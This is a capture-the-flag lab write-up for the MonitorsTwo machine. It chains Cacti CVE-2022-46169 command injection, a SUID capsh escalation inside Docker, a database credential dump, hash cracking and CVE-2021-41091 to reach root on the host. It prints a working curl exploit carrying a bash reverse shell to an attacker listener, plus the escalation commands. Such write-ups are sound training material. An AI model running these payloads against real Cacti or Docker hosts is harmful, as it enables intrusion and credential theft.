MonitorsTwo
Recon
I started with a port scan. Only two ports are open.
| Port | Service | Details |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 |
| 80 | HTTP | nginx 1.18.0 |
The web server on port 80 runs Cacti 1.2.22. This version is vulnerable to CVE-2022-46169, a pre-auth command injection, so that is where I looked first.
Foothold
CVE-2022-46169
The bug is in remote_agent.php. This page should only be used by trusted hosts, and Cacti checks that by reading the X-Forwarded-For header. We control that header, so we can just say we are 127.0.0.1 and skip the check. After that, the poller_id parameter is passed into a command without being cleaned, so we can inject our own command.
I put a reverse shell in poller_id, with a listener on port 4444:
1
2
3
4
5
6
curl -s 'http://10.129.102.148/remote_agent.php' \
-H 'X-Forwarded-For: 127.0.0.1' \
-G --data-urlencode 'action=polldata' \
--data-urlencode 'host_id=1' \
--data-urlencode 'local_data_id=6' \
--data-urlencode 'poller_id=;bash -c "bash -i >& /dev/tcp/LHOST/4444 0>&1"'
I got a shell as www-data. It is inside a Docker container, not on the real host.
Root in the container
There is a SUID capsh binary in the container. With it we can run commands as uid 0 and gid 0. I used it to run the mysql client against the database host db with root:root, and dumped the users from the cacti database:
1
capsh --gid=0 --uid=0 -- -c "mysql -h db -u root -proot cacti -e 'SELECT username,password FROM user_auth'"
One of the users is marcus, and we get his bcrypt hash:
1
marcus: $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
User
I saved the hash to a file and cracked it with john:
1
john --wordlist=rockyou.txt hash.txt
The password is funkymonkey. Then I logged in over SSH with it:
1
ssh marcus@10.129.102.148
1
cat user.txt
Root
CVE-2021-41091
This is a Docker bug. Files inside the container live on the host under /var/lib/docker/overlay2/, in a merged folder. A normal user on the host can walk into this folder. So if we make a SUID root file inside the container, we can run it from the host.
First, as root in the container, I made bash SUID:
1
chmod u+s /bin/bash
Then, as marcus on the host, I used findmnt to find the overlay2 merged path of the container:
1
findmnt
Now I run the SUID bash from that path. The -p option keeps the effective uid:
1
/var/lib/docker/overlay2/.../merged/bin/bash -p
euid is 0, so we are root on the host.
1
cat /root/root.txt